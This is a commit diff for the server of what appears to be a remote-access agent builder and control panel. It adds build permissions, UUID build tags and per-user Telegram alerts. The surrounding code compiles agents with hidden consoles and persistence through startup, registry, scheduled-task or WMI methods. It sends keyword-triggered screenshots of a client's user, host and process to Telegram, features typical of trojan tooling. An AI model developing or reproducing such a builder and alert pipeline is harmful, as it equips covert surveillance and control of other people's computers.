RBAC 2.0
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
import { $ } from "bun";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { saveBuild } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { getConfig } from "../config";
|
||||
@@ -64,6 +65,7 @@ type BuildProcessConfig = {
|
||||
persistenceMethod?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
builtByUserId?: number;
|
||||
};
|
||||
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
@@ -221,6 +223,9 @@ export async function startBuildProcess(
|
||||
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
|
||||
}
|
||||
|
||||
const buildTag = uuidv4();
|
||||
sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" });
|
||||
|
||||
for (const platform of platformsToBuild) {
|
||||
const [os, arch, ...rest] = platform.split("-");
|
||||
const goarm = arch === "armv7" ? "7" : undefined;
|
||||
@@ -325,6 +330,11 @@ export async function startBuildProcess(
|
||||
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
|
||||
}
|
||||
|
||||
if (buildTag) {
|
||||
const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag=${buildTag}`;
|
||||
ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag;
|
||||
}
|
||||
|
||||
if (config.hideConsole && os === "windows") {
|
||||
const hideConsoleFlag = "-H=windowsgui";
|
||||
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
||||
@@ -414,6 +424,8 @@ export async function startBuildProcess(
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files as any,
|
||||
buildTag,
|
||||
builtByUserId: config.builtByUserId,
|
||||
});
|
||||
|
||||
setTimeout(() => {
|
||||
|
||||
@@ -177,6 +177,15 @@ async function postTelegramNotification(
|
||||
const chatId = (config.telegramChatId || "").trim();
|
||||
if (!token || !chatId) return;
|
||||
|
||||
await sendTelegramToChat(token, chatId, record, screenshot);
|
||||
}
|
||||
|
||||
async function sendTelegramToChat(
|
||||
token: string,
|
||||
chatId: string,
|
||||
record: NotificationRecord,
|
||||
screenshot?: NotificationScreenshotRecord | null,
|
||||
): Promise<void> {
|
||||
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
|
||||
try {
|
||||
if (screenshot?.bytes?.length) {
|
||||
@@ -198,17 +207,51 @@ async function postTelegramNotification(
|
||||
body: JSON.stringify({ chat_id: chatId, text }),
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn("[notify] telegram delivery failed", err);
|
||||
logger.warn(`[notify] telegram delivery to chat ${chatId} failed`, err);
|
||||
}
|
||||
}
|
||||
|
||||
export type PerUserTelegramRecipient = {
|
||||
userId: number;
|
||||
chatId: string;
|
||||
canAccessClient: boolean;
|
||||
};
|
||||
|
||||
async function postPerUserTelegramNotifications(
|
||||
record: NotificationRecord,
|
||||
getNotificationConfig: () => any,
|
||||
getPerUserRecipients: (clientId: string) => PerUserTelegramRecipient[],
|
||||
screenshot?: NotificationScreenshotRecord | null,
|
||||
): Promise<void> {
|
||||
const config = getNotificationConfig();
|
||||
if (!config.telegramEnabled) return;
|
||||
const token = (config.telegramBotToken || "").trim();
|
||||
if (!token) return;
|
||||
|
||||
const recipients = getPerUserRecipients(record.clientId);
|
||||
const promises = recipients
|
||||
.filter((r) => r.canAccessClient && r.chatId)
|
||||
.map((r) => sendTelegramToChat(token, r.chatId, record, screenshot));
|
||||
|
||||
await Promise.allSettled(promises);
|
||||
}
|
||||
|
||||
export async function deliverNotificationWithScreenshot(
|
||||
record: NotificationRecord,
|
||||
getNotificationConfig: () => any,
|
||||
getPerUserRecipients?: (clientId: string) => PerUserTelegramRecipient[],
|
||||
): Promise<void> {
|
||||
const screenshot = await waitForNotificationScreenshot(record.id);
|
||||
await Promise.allSettled([
|
||||
const deliveries: Promise<void>[] = [
|
||||
postNotificationWebhook(record, getNotificationConfig, screenshot),
|
||||
postTelegramNotification(record, getNotificationConfig, screenshot),
|
||||
]);
|
||||
];
|
||||
|
||||
if (getPerUserRecipients) {
|
||||
deliveries.push(
|
||||
postPerUserTelegramNotifications(record, getNotificationConfig, getPerUserRecipients, screenshot),
|
||||
);
|
||||
}
|
||||
|
||||
await Promise.allSettled(deliveries);
|
||||
}
|
||||
|
||||
@@ -170,6 +170,8 @@ export async function handleAuthRoutes(
|
||||
role: user.role,
|
||||
userId: user.userId,
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||
}),
|
||||
{
|
||||
headers: { "Content-Type": "application/json" },
|
||||
|
||||
@@ -6,6 +6,7 @@ import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { logger } from "../../logger";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||
|
||||
type RequestIpProvider = {
|
||||
@@ -35,7 +36,7 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/build/start") {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const body = await req.json();
|
||||
const {
|
||||
@@ -131,22 +132,40 @@ export async function handleBuildRoutes(
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
builtByUserId: user.userId,
|
||||
});
|
||||
|
||||
return Response.json({ buildId });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const builds = getAllBuilds();
|
||||
return Response.json({ builds });
|
||||
}
|
||||
|
||||
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const buildId = decodeURIComponent(url.pathname.split("/")[3]);
|
||||
|
||||
const build = getBuild(buildId);
|
||||
if (build?.files) {
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const outDir = path.join(rootDir, "dist-clients");
|
||||
for (const file of build.files) {
|
||||
try {
|
||||
const filePath = path.join(outDir, file.filename);
|
||||
if (fs.existsSync(filePath)) {
|
||||
fs.unlinkSync(filePath);
|
||||
logger.info(`[build:delete] Removed file: ${filePath}`);
|
||||
}
|
||||
} catch (err) {
|
||||
logger.warn(`[build:delete] Failed to remove file ${file.filename}:`, err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
deleteBuild(buildId);
|
||||
@@ -161,11 +180,12 @@ export async function handleBuildRoutes(
|
||||
success: true,
|
||||
});
|
||||
|
||||
logger.info(`[build:delete] Build ${buildId.substring(0, 8)} deleted by ${user.username}`);
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
@@ -219,7 +239,7 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
@@ -248,7 +268,7 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
const rawName = url.pathname.split("/api/build/download/")[1] || "";
|
||||
let fileName = rawName;
|
||||
|
||||
@@ -4,6 +4,7 @@ import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
|
||||
import { getClientMetricsSummary } from "../../db";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
|
||||
type MiscRouteDeps = {
|
||||
@@ -66,6 +67,35 @@ export async function handleMiscRoutes(
|
||||
});
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/telegram") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (req.method === "GET") {
|
||||
const chatId = getUserTelegramChatId(user.userId);
|
||||
return Response.json({ telegramChatId: chatId || "" });
|
||||
}
|
||||
|
||||
if (req.method === "PUT") {
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const chatId = typeof body?.telegramChatId === "string" ? body.telegramChatId.trim() : null;
|
||||
const result = setUserTelegramChatId(user.userId, chatId || null);
|
||||
if (!result.success) {
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
return Response.json({ success: true, telegramChatId: chatId || "" });
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/security") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -203,6 +203,10 @@ export async function handlePageRoutes(
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
|
||||
@@ -14,6 +14,7 @@ import {
|
||||
removeUserClientAccessRule,
|
||||
setUserClientAccessRule,
|
||||
setUserClientAccessScope,
|
||||
setUserCanBuild,
|
||||
updateUserPassword,
|
||||
updateUserRole,
|
||||
} from "../../users";
|
||||
@@ -242,6 +243,13 @@ export async function handleUsersRoutes(
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (access === "allow") {
|
||||
const currentScope = getUserClientAccessScope(userId);
|
||||
if (currentScope === "none") {
|
||||
setUserClientAccessScope(userId, "allowlist");
|
||||
}
|
||||
}
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
@@ -316,6 +324,34 @@ export async function handleUsersRoutes(
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/can-build$/)) {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const targetUser = getUserById(userId);
|
||||
if (!targetUser) {
|
||||
return Response.json({ error: "User not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const body = await req.json();
|
||||
const canBuild = !!body?.canBuild;
|
||||
const result = setUserCanBuild(userId, canBuild);
|
||||
if (!result.success) {
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `${canBuild ? "Granted" : "Revoked"} build permission for ${targetUser.username}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true, canBuild });
|
||||
}
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
} catch (error) {
|
||||
if (error instanceof Response) {
|
||||
|
||||
@@ -79,6 +79,7 @@ type WsLifecycleDeps = {
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
|
||||
};
|
||||
|
||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||
@@ -188,6 +189,11 @@ export function handleWebSocketMessage(
|
||||
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
|
||||
});
|
||||
(ws as any).data.wasKnown = true;
|
||||
|
||||
const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag : "";
|
||||
if (buildTag) {
|
||||
deps.handleBuildTagConnection(info.id, buildTag);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user